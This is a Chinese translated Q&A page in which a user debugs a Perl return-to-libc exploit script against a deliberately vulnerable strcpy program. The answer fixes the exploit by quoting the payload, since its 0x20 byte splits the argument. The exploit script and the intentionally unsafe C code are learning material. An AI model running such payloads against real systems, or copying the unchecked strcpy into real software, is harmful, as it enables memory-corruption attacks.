F. *_* P. 3 perl buffer-overflow
我正在搞乱缓冲区溢出,我正在尝试执行返回libc漏洞.为了帮助我,我设计了以下perl脚本:
#!/usr/bin/perl
for ($i = 1; $i < 200; $i++) {
print "count: $i\n";
system("echo 1 | ./vuln " . "A"x$i . "\x20\x83\x04\x08AAAA\x5c\xf9\xff\xbf");
}
Run Code Online (Sandbox Code Playgroud)
以下是我定位的代码(./vuln):
#include<stdio.h>
#include<string.h>
main( int argc, char **argv)
{
char buffer[80];
printf("%d\n%s\n", strlen(argv[1]), argv[1]);
getchar();
strcpy(buffer, argv[1]);
return 1;
}
Run Code Online (Sandbox Code Playgroud)
这是脚本的输出:
count: 1
1
A
count: 2
2
AA
count: 3
3
AAA
count: 4
4
AAAA
count: 5
5
AAAAA
Run Code Online (Sandbox Code Playgroud)
这表示最后一个字符串连接的部分(具有大量十六进制字符的部分)没有被成功传递为参数.
我在这做错了什么?
Bar*_*mar 10
试试这个:
system("echo 1 | ./vuln '" . "A"x$i . "\x20\x83\x04\x08AAAA\x5c\xf9\xff\xbf'");
Run Code Online (Sandbox Code Playgroud)
0x20是空格,所以没有引号后面的所有内容都是一个单独的参数.
| 归档时间: |
|
| 查看次数: |
555 次 |
| 最近记录: |